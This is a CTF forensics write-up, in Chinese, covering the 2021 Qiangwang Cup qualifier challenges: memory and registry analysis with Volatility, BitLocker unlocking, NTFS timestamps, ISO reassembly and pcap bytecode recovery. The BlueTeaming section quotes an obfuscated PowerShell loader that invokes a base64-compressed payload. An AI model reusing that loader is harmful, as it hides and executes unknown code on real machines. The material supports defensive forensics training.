强网杯 2021 Quals
Misc
BlueTeaming
Powershell scripts were executed by malicious programs. What is the registry key that contained the power shellscript content?
将附件解压后 file 一次可得其仍然是个 7z 文件,再次解压后得到 dump 文件。使用 volatility 探测 profile。
lemonprefect@LAPTOP-3E49IU3M:/mnt/f/ghrepos/volatility2$ python2 vol.py -f memory.dmp imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/mnt/f/ghrepos/volatility2/memory.dmp)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80002be3120L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80002be5000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2020-11-26 13:00:41 UTC+0000
Image local date and time : 2020-11-26 22:00:41 +0900
取其 profile 为 Win7SP1x64
,使用 hivelist 列出注册表。
lemonprefect@LAPTOP-3E49IU3M:/mnt/f/ghrepos/volatility2$ python2 vol.py -f memory.dmp --profile=Win7SP1x64 hivelist
Volatility Foundation Volatility Framework 2.6.1
Virtual Physical Name
------------------ ------------------ ----
0xfffff8a00000f010 0x00000000a9107010 [no name]
0xfffff8a000024010 0x00000000a9612010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000057410 0x00000000a9745410 \REGISTRY\MACHINE\HARDWARE
0xfffff8a0001052e0 0x00000000595002e0 \SystemRoot\System32\Config\DEFAULT
0xfffff8a0002d7010 0x00000000a103c010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a000347010 0x00000000a57be010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a00200e010 0x0000000081c17010 \SystemRoot\System32\Config\SECURITY
0xfffff8a00203a010 0x0000000081a77010 \SystemRoot\System32\Config\SAM
0xfffff8a002149010 0x0000000081565010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a0021d5010 0x0000000081255010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a002ae4410 0x000000007d278410 \??\C:\Windows\System32\config\COMPONENTS
0xfffff8a00891f010 0x000000006f172010 \??\C:\System Volume Information\Syscache.hve
0xfffff8a0089ff010 0x0000000075c42010 \??\C:\Users\nyong\ntuser.dat
0xfffff8a008bf1010 0x000000002b8a7010 \??\C:\Windows\AppCompat\Programs\Amcache.hve
0xfffff8a008e1b010 0x0000000061e3c010 \??\C:\Users\nyong\AppData\Local\Microsoft\Windows\UsrClass.dat
使用如下指令将注册表全部导出。
python2 vol.py -f memory.dmp --profile Win7SP1x64 dumpregistry -D /mnt/f/CTFs/2021/qwb/
使用 Windows 自带的 Regedit 加载配置单元挂载文件 registry.0xfffff8a0002d7010.SOFTWARE.reg
,可以在 计算机\HKEY_LOCAL_MACHINE\IMPORTED\Microsoft\Windows\Communication
下找到 code,其内容为如下恶意代码。
& ( $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
CipherMan
The attacker maliciously accessed the user's PC and encrypted specific volumes. How to decrypt the volume?
经过两次解压后可得 Secret 和 memory,file 一下可知 Secret 是磁盘文件。使用如下指令抓取 Secret 的信息。
lemonprefect@LAPTOP-3E49IU3M:/mnt/f/CTFs/2021/qwb/CipherMan2$ mmls Secret
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000000127 0000000128 Unallocated
002: 000:000 0000000128 0001042559 0001042432 NTFS / exFAT (0x07)
003: ------- 0001042560 0001048575 0000006016 Unallocated
此时尝试挂载 Secret,可以得到其是 BitLocker 保护的磁盘的提示。
root@LAPTOP-3E49IU3M:/mnt/f/CTFs/2021/qwb/CipherMan2# mount Secret /mnt/ctf -o offset=$((128*512))
mount: /mnt/ctf: unknown filesystem type 'BitLocker'.
使用 volatility2 探测 memory 的 profile。
lemonprefect@LAPTOP-3E49IU3M:/mnt/f/ghrepos/volatility2$ python2 vol.py -f memory2 imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/mnt/f/ghrepos/volatility2/memory2)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x82d72c28L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0x82d73c00L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2018-08-06 08:41:18 UTC+0000
Image local date and time : 2018-08-06 17:41:18 +0900
取其 profile 为 Win7SP1x86_23418
,使用 filescan 筛选桌面文件。
lemonprefect@LAPTOP-3E49IU3M:/mnt/f/ghrepos/volatility2$ python2 vol.py -f memory2 --profile=Win7SP1x86_23418 filescan | grep "Desktop"
...
0x000000007e02af80 8 0 -W----\Device\HarddiskVolume2\Users\RockAndRoll\Desktop\BitLocker 복구 키 168F1291-82C1-4BF2-B634-9CCCEC63E9ED.txt
将上述文件使用 dumpfiles 恢复,得到如下内容。
BitLocker 드라이브 암호화 복구 키
복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.
이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.
복구 키 ID: 168F1291-82C1-4B
전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker 복구 키:
221628-533357-667392-449185-516428-718443-190674-375100
使用如下指令配合恢复密钥将磁盘挂载。
bdemount -o $((128*512)) -r 221628-533357-667392-449185-516428-718443-190674-375100 Secret /mnt/ctf
将挂载所得磁盘中的文件 bde1 再次使用如下指令挂载。
mount -o ro bde1 /mnt/ctf2
即可在挂载处找到 README.txt,其中包含的字符串即为 flag。
Wow, you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.
EzTime
Forensic.Find a file that a time attribute has been modified by a program.
解压两次得到附件 $MFT 和 $LogFile,使用 NTFS Log Tracker 分析文件导出 csv。
筛选出修改时间大于访问时间的条目,可得 flag。
File/Directory Name Full Path Create Time Modified Time MFT_Modified Time Access Time
$Quota \$Extend\$Quota 2021/5/23 0:25 2021/5/23 0:25 2021/5/23 0:25 2021/5/23 0:25
daniel-olah-HNkgPFBShSw-unsplash.jpg \daniel-olah-HNkgPFBShSw-unsplash.jpg 2021/5/23 0:25 2021/5/23 0:25 2021/5/23 0:27 2021/5/23 0:25
louis-reed-hzp_aT02R48-unsplash.jpg \louis-reed-hzp_aT02R48-unsplash.jpg 2021/5/23 0:26 2021/5/23 0:26 2021/5/23 0:27 2021/5/23 0:26
{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png \{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png 2021/5/23 0:28 2021/5/19 23:59 2021/5/23 0:32 2021/5/23 0:28
BlackboardFieldPillBackground.png \fr_MA\BlackboardFieldPillBackground.png 2021/5/23 0:28 2018/2/20 17:24 2021/5/23 0:33 2021/5/23 0:28
editmode-run-test.png \fr_MA\editmode-run-test.png 2021/5/23 0:28 2020/8/5 13:38 2021/5/23 0:33 2021/5/23 0:28
IMG_2279.JPG \fr_MA\IMG_2279.JPG 2021/5/23 0:29 2020/10/19 23:51 2021/5/23 0:33 2021/5/23 0:29
IMG_2281.JPG \fr_MA\IMG_2281.JPG 2021/5/23 0:29 2020/10/19 23:50 2021/5/23 0:33 2021/5/23 0:29
{0A2792E2-9495-4DF8-93F5-581086B905B6}.png \en_US\{0A2792E2-9495-4DF8-93F5-581086B905B6}.png 2021/5/23 0:28 2021/5/19 20:54 2021/5/23 0:33 2021/5/23 0:28
{0AC4E564-51D1-41CF-BA81-DA2629CBB93B}.png \en_GB\{0AC4E564-51D1-41CF-BA81-DA2629CBB93B}.png 2021/5/23 0:28 2021/5/22 21:38 2021/5/23 0:33 2021/5/23 0:28
{0A8E35BF-7598-4676-9882-D7E157D5034C}.png \es_NA\{0A8E35BF-7598-4676-9882-D7E157D5034C}.png 2021/5/23 0:28 2021/5/19 20:54 2021/5/23 0:33 2021/5/23 0:28
{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png
ISO1995
We follow ISO1995. ISO1995 has many problems though. One known problem is a time.
将附件提取出来, file 一次可以得到如下信息。
iso1995: ISO 9660 CD-ROM filesystem data 'Debian 10.6.0 AMD64 Network'
使用 UltraISO 加载磁盘,将其中的文件提取出来。
使用 010 Editor 打开文件可以发现明显顺序,将 FF FF FF FF
后面的两字节提取出来拼接成一个十六进制数字。
写一个脚本按照顺序去访问并拼接文件。
result = ""
indexes = [0x000,0x00AA,0x0357,0x02C5,0x0023,0x0268,0x02F2,0x02DB,0x03E5,0x01E5,0x0101,0x02A8,0x0236,0x0267,0x03F2,0x009E,0x002A,0x00E0,0x0398,0x01B0,0x028A,0x006D,0x03D1,0x019D,0x01CB,0x031B,0x0319,0x02A0,0x0259,0x00A1,0x022D,0x0305,0x0051,0x0231,0x003C,0x02C7,0x02E3,0x0199,0x0235,0x037E,0x0185,0x012E,0x0074,0x00A2,0x006C,0x0216,0x02FC,0x01B4,0x01AA,0x0269,0x02CE,0x00FD,0x00B6,0x01D3,0x0049,0x03BC,0x02F0,0x00F2,0x0165,0x03A4,0x0325,0x01EE,0x03B4,0x03DE,0x02DE,0x03F8,0x0147,0x024F,0x033C,0x0263,0x001C,0x03F4,0x0097,0x02EC,0x0091,0x000C,0x00BF,0x0168,0x0233,0x01A4,0x038C,0x024E,0x024D,0x03C5,0x0086,0x037C,0x0012,0x02C1,0x0111,0x0126,0x0368,0x01C7,0x0007,0x02F3,0x0070,0x00BB,0x0304,0x036B,0x02D3,0x0041,0x03AF,0x0130,0x017C,0x0034,0x0397,0x0061,0x0081,0x02A3,0x01A8,0x0092,0x012A,0x002C,0x0135,0x0323,0x028E,0x00F9,0x02D7,0x0109,0x01A7,0x02F8,0x0327,0x01EF,0x000F,0x03C8,0x020E,0x014A,0x0260,0x0344,0x0343,0x00C4,0x022C,0x0099,0x026D,0x008A,0x0301,0x03F1,0x0273,0x031F,0x009D,0x00F5,0x01FA,0x010D,0x037A,0x0361,0x01E1,0x0307,0x0215,0x02E2,0x01B7,0x0225,0x0310,0x0035,0x0243,0x0286,0x02D8,0x0108,0x03EF,0x01F5,0x030A,0x0339,0x0170,0x0107,0x0177,0x0100,0x005C,0x021C,0x0169,0x0063,0x0102,0x03E1,0x039C,0x00DA,0x037D,0x01BC,0x0140,0x02A5,0x0349,0x00D8,0x033A,0x00C1,0x0044,0x03CF,0x0291,0x01FF,0x03D8,0x0239,0x0338,0x030B,0x0106,0x02B3,0x03FB,0x03F0,0x0077,0x01CD,0x0256,0x00EC,0x004C,0x03EB,0x0001,0x0162,0x0266,0x035B,0x0298,0x000A,0x02CC,0x0248,0x0115,0x00A8,0x034D,0x0254,0x01D7,0x03E9,0x035A,0x0227,0x0065,0x016B,0x03AC,0x0383,0x0039,0x0195,0x03EA,0x030D,0x03AE,0x0282,0x0078,0x0015,0x01B8,0x011D,0x0186,0x00F6,0x0018,0x0148,0x038E,0x00F4,0x0137,0x01F0,0x0122,0x03CD,0x011E,0x0272,0x01CE,0x01F1,0x03B8,0x022B,0x02AE,0x00BE,0x0385,0x0133,0x033E,0x020C,0x0210,0x03A9,0x01BD,0x00ED,0x0334,0x0330,0x0214,0x008F,0x014B,0x00D7,0x0004,0x0265,0x0143,0x01A9,0x0180,0x0178,0x034C,0x0062,0x0302,0x01BE,0x02F5,0x0366,0x00AD,0x02AD,0x0164,0x0333,0x0142,0x036E,0x03E0,0x0345,0x018A,0x00E3,0x00A3,0x00FB,0x028F,0x03BF,0x022F,0x02DC,0x039E,0x03D9,0x0314,0x0068,0x03B6,0x00A6,0x02D2,0x0222,0x0103,0x004D,0x03F9,0x008B,0x01F6,0x018E,0x03E3,0x0300,0x00C0,0x02AA,0x01A1,0x0139,0x019F,0x0360,0x025B,0x01BA,0x0276,0x00F0,0x038D,0x001F,0x0006,0x028C,0x0132,0x03D6,0x020B,0x0198,0x0188,0x02A1,0x0238,0x01E6,0x007C,0x035D,0x0064,0x009F,0x024A,0x00D0,0x01BB,0x005E,0x02BD,0x019A,0x0193,0x00F8,0x03A3,0x0362,0x019E,0x00D4,0x026E,0x03EE,0x0352,0x015F,0x0232,0x01FB,0x03C0,0x02BA,0x03BE,0x02EB,0x01C1,0x0390,0x0129,0x0399,0x00CC,0x02AC,0x02BB,0x02A9,0x0038,0x00E4,0x00E1,0x009C,0x020A,0x0320,0x0396,0x0207,0x01F9,0x0192,0x034E,0x02B5,0x01F8,0x0328,0x03CB,0x0242,0x00B7,0x0381,0x00B8,0x03E7,0x012F,0x019C,0x031C,0x03F5,0x0230,0x023C,0x0113,0x006F,0x00AE,0x01DE,0x0071,0x0296,0x01F7,0x02A2,0x004A,0x0128,0x0110,0x005F,0x0247,0x01C4,0x034B,0x03E6,0x03ED,0x0318,0x008C,0x015A,0x03BA,0x03F6,0x00AB,0x0079,0x0281,0x00AF,0x00EA,0x01A2,0x0127,0x011C,0x0056,0x018F,0x02BF,0x0002,0x0183,0x03A1,0x00CF,0x013D,0x029A,0x031E,0x0271,0x0138,0x0219,0x0364,0x0261,0x0076,0x01AB,0x03E8,0x00A5,0x01EB,0x03DD,0x01A3,0x0060,0x0096,0x017B,0x007E,0x01B3,0x0354,0x03E2,0x012B,0x0171,0x03FC,0x0009,0x01C9,0x01FC,0x021E,0x00B9,0x032E,0x02E4,0x026C,0x0085,0x02D9,0x02DF,0x027A,0x01AC,0x03CE,0x00E2,0x0067,0x0365,0x0384,0x01DC,0x01F4,0x0212,0x0120,0x00CD,0x0221,0x021B,0x01DA,0x0209,0x013E,0x031D,0x005B,0x0378,0x016C,0x0073,0x00CA,0x0255,0x008D,0x00C2,0x0082,0x009A,0x0224,0x001B,0x0013,0x0375,0x0347,0x0278,0x01D6,0x03D0,0x00EF,0x0371,0x03EC,0x002F,0x03A0,0x02B1,0x03FA,0x0025,0x01D8,0x004F,0x01B1,0x02C3,0x029F,0x0309,0x02A4,0x028B,0x0093,0x02BC,0x00D5,0x0288,0x01B6,0x00FF,0x0114,0x03F3,0x030E,0x021F,0x0021,0x00D6,0x018D,0x036F,0x0321,0x0353,0x0029,0x015B,0x0346,0x03D7,0x034F,0x0043,0x0173,0x03DB,0x0160,0x0292,0x0392,0x0337,0x0030,0x017F,0x02F7,0x0124,0x003E,0x02F6,0x01AF,0x010E,0x039D,0x0246,0x0287,0x01B9,0x021A,0x010C,0x0394,0x0250,0x00F3,0x03A2,0x0000,0x0116,0x03AD,0x0377,0x011A,0x02EF,0x02CA,0x0153,0x0312,0x01E8,0x034A,0x0311,0x0229,0x02AF,0x03A5,0x0359,0x036D,0x01A6,0x023B,0x021D,0x00FA,0x02D0,0x0335,0x00BD,0x025F,0x0326,0x037F,0x03A8,0x01EA,0x011B,0x029E,0x03CC,0x0201,0x038A,0x016A,0x0380,0x0037,0x013F,0x0080,0x029B,0x01CA,0x0253,0x02E9,0x0088,0x0370,0x01C8,0x02F1,0x03B3,0x0205,0x003A,0x0317,0x01AD,0x0125,0x0187,0x0197,0x0237,0x014E,0x025E,0x036A,0x011F,0x020F,0x00A9,0x014C,0x008E,0x030C,0x032B,0x0052,0x0141,0x0355,0x0297,0x0295,0x0275,0x013A,0x0350,0x0157,0x02AB,0x03FF,0x00F7,0x0098,0x00DD,0x015E,0x0387,0x01E4,0x0087,0x0055,0x0159,0x013C,0x0105,0x019B,0x01D1,0x0194,0x02CF,0x0045,0x02B0,0x00C6,0x0022,0x026F,0x01E0,0x01DD,0x033B,0x03FD,0x01D2,0x0154,0x005D,0x0389,0x0024,0x039F,0x01DF,0x028D,0x03BB,0x0245,0x0011,0x0003,0x0027,0x00C7,0x02BE,0x0047,0x00C9,0x02B6,0x01B5,0x009B,0x006E,0x03C3,0x016E,0x00B5,0x025D,0x0059,0x0016,0x0008,0x002D,0x0066,0x007A,0x037B,0x01BF,0x0308,0x02ED,0x035C,0x02CD,0x00E5,0x00C5,0x0208,0x02FB,0x0280,0x01CF,0x025A,0x03DA,0x018B,0x017A,0x02B8,0x0104,0x0190,0x003D,0x03BD,0x0089,0x0204,0x0391,0x0289,0x014F,0x0274,0x01C3,0x0322,0x0151,0x0196,0x02C2,0x03D2,0x03F7,0x0294,0x01D9,0x00BA,0x0158,0x03FE,0x03B1,0x03B5,0x01ED,0x014D,0x0136,0x023A,0x0042,0x0374,0x0315,0x0395,0x00E9,0x0342,0x00DE,0x00D1,0x01B2,0x0340,0x0020,0x004E,0x015C,0x013B,0x00AC,0x0363,0x02D4,0x0223,0x0026,0x00DB,0x017E,0x0123,0x006B,0x02DD,0x02FF,0x0299,0x00F1,0x0084,0x0217,0x0014,0x0090,0x0176,0x0206,0x02B4,0x023E,0x0372,0x032F,0x023D,0x01C0,0x02E6,0x0220,0x0072,0x02FE,0x03C9,0x01D0,0x0053,0x0329,0x01C6,0x033D,0x027C,0x03B9,0x0369,0x0028,0x0050,0x02DA,0x00D9,0x01E9,0x001A,0x02CB,0x0172,0x02E8,0x0356,0x0191,0x02EE,0x0095,0x01C2,0x0094,0x007F,0x0251,0x0184,0x0144,0x024B,0x03B0,0x0121,0x0203,0x0264,0x022E,0x0348,0x02FD,0x0373,0x0249,0x0036,0x02C8,0x027B,0x0226,0x016D,0x03C7,0x0017,0x0040,0x0386,0x0262,0x0270,0x0252,0x02E5,0x0234,0x010F,0x03C4,0x010B,0x0150,0x0293,0x02B9,0x016F,0x0382,0x03AB,0x0189,0x02B7,0x039B,0x0146,0x01F2,0x030F,0x00CB,0x0054,0x00C8,0x01DB,0x035E,0x0388,0x0083,0x001D,0x007B,0x00FE,0x0181,0x010A,0x0033,0x01E2,0x03C1,0x03E4,0x02FA,0x0163,0x0358,0x0069,0x00E7,0x02E0,0x017D,0x00EE,0x0290,0x0166,0x027E,0x003B,0x02F4,0x00D3,0x0341,0x0279,0x0179,0x0228,0x0152,0x02B2,0x036C,0x0119,0x0336,0x03AA,0x0174,0x029D,0x0117,0x03A7,0x023F,0x02D6,0x0218,0x01FD,0x0134,0x0019,0x02C0,0x000D,0x0161,0x032D,0x0010,0x0149,0x0167,0x002E,0x004B,0x0200,0x03C6,0x0046,0x00B3,0x005A,0x01D5,0x0202,0x0313,0x0131,0x012C,0x0332,0x00B2,0x0213,0x01A5,0x02EA,0x026A,0x02D5,0x000E,0x007D,0x03B2,0x02C9,0x00EB,0x0031,0x03D5,0x00B4,0x01E7,0x00BC,0x039A,0x0155,0x0367,0x032A,0x0156,0x0303,0x0285,0x0351,0x0258,0x02D1,0x00A7,0x027F,0x0112,0x01EC,0x0316,0x02C6,0x002B,0x00A0,0x0284,0x0048,0x00CE,0x01E3,0x0241,0x00B0,0x025C,0x02A6,0x01CC,0x0306,0x02C4,0x00B1,0x0240,0x02E7,0x03DF,0x029C,0x0331,0x00DF,0x0075,0x0005,0x006A,0x03B7,0x003F,0x00D2,0x01F3,0x026B,0x032C,0x00FC,0x0058,0x01D4,0x0393,0x0324,0x01AE,0x038F,0x018C,0x01FE,0x03C2,0x0182,0x015D,0x00E6,0x020D,0x0175,0x012D,0x0032,0x03CA,0x02E1,0x038B,0x03D4,0x0277,0x02F9,0x0257,0x02A7,0x031A,0x00A4,0x03DC,0x01C5,0x024C,0x0211,0x00C3,0x0244,0x001E,0x022A,0x0283,0x027D,0x035F,0x00DC,0x03A6,0x0379,0x033F,0x0376,0x00E8,0x0118,0x0145,0x03D3,0x0057,0x000B]
for index in indexes:
fileName = f"flag_f{str(int(index)).zfill(5)}"
result += open(fileName, "r").read()
file = open("b.txt", "w")
file.write(result)
file.close()
运行脚本可以得到如下包含 flag 的文本。
!Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,CO@V.s-%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1
FLAG{Dir3ct0ry_jYa_n41}
ExtremelySlow
追踪 TCP 流可见响应中含有 content-range: bytes 641-641/1987
提示了字符顺序。使用 WireShark 导出分组解析结果后使用正则表达式将内容和顺序提取出来,放到 Excel 中排好序,可以得到如下内容。
6f 0d 0d 0a 00 00 00 00 af e7 b5 60 9a 06 00 00 e3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 40 00 00 00 73 1a 01 00 00 64 00 64 01 6c 00 5a 00 64 00 64 02 6c 01 6d 02 5a 02 01 00 64 03 64 04 84 00 5a 03 64 05 64 06 84 00 5a 04 64 07 64 08 84 00 5a 05 64 09 64 0a 84 00 5a 06 65 07 64 0b 6b 02 72 8b 64 0c 5a 08 64 0d 5a 09 64 0e 5a 0a 64 0f 5a 0b 64 10 5a 0c 64 11 64 12 64 13 64 14 64 15 9c 04 5a 0d 64 16 64 17 64 18 64 19 64 1a 9c 04 5a 0e 65 0d 64 1b 64 1c 84 00 65 0e 44 00 83 01 4f 00 5a 0d 65 0d 64 1d 64 1e 84 00 65 0a 44 00 83 01 4f 00 5a 0d 65 05 65 0f 65 10 64 1f 64 20 84 00 65 11 65 0d a0 12 a1 00 83 01 83 02 83 01 83 01 5a 13 65 14 65 06 65 08 65 13 83 02 a0 15 a1 00 83 01 01 00 65 00 6a 16 6a 17 a0 18 a1 00 5a 19 65 06 65 09 65 13 83 02 5a 09 65 06 65 19 65 13 83 02 5a 1a 65 02 65 1a 83 01 a0 1b a1 00 65 0b 6b 02 72 83 65 14 65 06 65 0c 65 13 83 02 a0 15 a1 00 83 01 01 00 64 01 53 00 65 14 65 09 a0 15 a1 00 83 01 01 00 64 01 53 00 64 01 53 00 29 21 e9 00 00 00 00 4e a9 01 da 06 73 68 61 32 35 36 63 01 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 05 00 00 00 43 00 00 00 73 60 00 00 00 74 00 7c 00 83 01 7d 01 74 01 74 02 64 01 83 01 83 01 7d 02 64 02 7d 03 74 02 64 01 83 01 44 00 5d 1d 7d 04 7c 03 7c 02 7c 04 19 00 17 00 7c 00 7c 04 7c 01 16 00 19 00 17 00 64 01 16 00 7d 03 7c 02 7c 03 19 00 7c 02 7c 04 19 00 02 00 7c 02 7c 04 3c 00 7c 02 7c 03 3c 00 71 10 7c 02 53 00 29 03 4e e9 00 01 00 00 72 01 00 00 00 29 03 da 03 6c 65 6e da 04 6c 69 73 74 da 05 72 61 6e 67 65 29 05 da 03 6b 65 79 da 09 6b 65 79 6c 65 6e 67 74 68 da 01 53 da 01 6a da 01 69 a9 00 72 0d 00 00 00 fa 07 6d 61 69 6e 2e 70 79 da 03 4b 53 41 06 00 00 00 73 0e 00 00 00 00 01 08 01 0c 01 04 01 0c 01 1c 01 1c 01 72 0f 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 04 00 00 00 63 00 00 00 73 62 00 00 00 81 00 64 01 7d 01 64 01 7d 02 09 f0 7c 01 64 03 17 b4 64 04 16 55 7d 01 7c 02 7c 00 7c 01 19 16 17 36 64 04 16 c5 7d 02 7c 00 7c 02 19 6f 7c 00 7c 01 19 db 02 c9 7c 00 7c 01 3c ea 7c 00 7c 02 3c 64 7c 00 7c 00 7c 01 19 04 7c 00 7c 02 19 15 17 62 64 04 16 00 19 00 7d 03 7c 03 56 00 01 00 71 06 29 05 4e 72 01 00 00 00 54 e9 01 00 00 00 72 04 00 00 00 72 0d 00 00 00 29 04 72 0a 00 00 00 72 0c 00 00 00 72 0b 00 00 00 da 01 4b 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 da 04 50 52 47 41 10 00 00 00 73 12 00 00 00 02 01 04 01 04 01 02 01 0c 01 10 01 1a 01 18 01 06 fb 72 12 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 02 00 00 00 43 00 00 00 73 10 00 00 00 74 00 7c 00 83 01 7d 01 74 01 7c 01 83 01 53 11 29 01 4e 29 02 72 0f 00 00 00 72 12 00 00 00 29 02 72 08 00 00 00 72 0a 00 00 00 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 da 03 52 43 34 1a 00 00 00 73 04 00 00 00 00 01 08 01 72 13 00 00 00 63 02 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 05 00 00 00 03 00 00 00 73 16 00 00 00 74 00 74 01 87 00 66 01 64 01 64 02 84 08 7c 00 83 02 83 01 53 a2 29 03 4e 63 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 03 00 00 00 13 00 00 00 73 0c 00 00 00 7c 00 88 00 a0 00 a1 00 41 b0 53 cd 29 01 4e 29 01 da 08 5f 5f 6e 65 78 74 5f 5f 29 01 da 01 78 29 01 da 06 73 74 72 65 61 6d 72 0d 00 00 00 72 0e 00 00 00 da 08 3c 6c 61 6d 62 64 61 3e 1f 00 00 00 f3 00 00 00 00 fa 15 78 6f 72 2e 3c 6c 6f 63 61 6c 73 3e 2e 3c 6c 61 6d 62 64 61 3e 29 02 da 05 62 79 74 65 73 da 03 6d 61 70 29 02 da 01 70 72 16 00 00 00 72 0d 00 00 00 29 01 72 16 00 00 00 72 0e 00 00 00 da 03 78 6f 72 1e 00 00 00 73 02 00 00 00 00 01 72 1d 00 00 00 da 08 5f 5f 6d 61 69 6e 5f 5f f3 1c 00 00 00 f6 ef 10 48 a9 0f 9f b5 80 c1 78 64 ae d3 03 b2 84 c2 b4 0e c8 f3 3c 15 31 19 0a 8f f3 0e 00 00 00 24 0d 39 a3 18 dd 57 c9 97 f3 a7 a8 52 7e f3 03 00 00 00 67 65 6f f3 20 00 00 00 7d ce 60 be 6a a2 12 30 b5 8a 94 14 7b a3 86 c8 c7 01 98 a3 5f 91 d8 82 54 2a 56 ab e0 a1 14 31 f3 34 00 00 00 51 